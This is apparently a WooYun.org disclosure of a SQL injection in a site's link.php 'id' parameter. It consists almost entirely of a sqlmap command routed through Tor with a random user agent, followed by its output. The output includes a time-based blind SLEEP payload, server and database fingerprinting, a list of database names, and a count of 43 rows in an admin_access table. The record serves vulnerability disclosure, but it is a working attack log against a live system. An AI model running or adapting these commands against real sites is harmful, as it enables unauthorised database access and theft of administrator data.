WooYun.org

$ ./sqlmap.py --tor --tor-type=SOCKS5 --random-agent --time-sec=20 --technique=BEUT --union-char=N -u "**.**.**.**/link.php?id=3013" --dbs --is-dba --current-db
---
Parameter: id (GET)
    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
    Payload: id=3013 AND (SELECT * FROM (SELECT(SLEEP(20)))ZAzR)
---
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0.12
current database:    'house'
current user is DBA:    False
[14:18:10] [INFO] fetching database names
[14:18:10] [INFO] fetching number of databases
[14:18:10] [INFO] resumed: 15
[14:18:10] [INFO] resumed: information_schema
[14:18:10] [INFO] resumed: ad
[14:18:10] [INFO] resumed: blog
[14:18:10] [INFO] resumed: common
[14:18:10] [INFO] resumed: forum
[14:18:10] [INFO] resumed: free
[14:18:10] [INFO] resumed: home
[14:18:10] [INFO] resumed: house
[14:18:10] [INFO] resumed: k8
[14:18:10] [INFO] resuming partial value: member
[02:37:41] [INFO] fetching tables for database: 'house'
[02:37:41] [INFO] fetching number of tables for database 'house'
[02:37:41] [INFO] resumed: 85
[02:37:41] [INFO] resumed: admin_access   ==========>time-based太慢了,就到这里吧
Database: house
+--------------+---------+
| Table        | Entries |
+--------------+---------+
| admin_access | 43      |
+--------------+---------+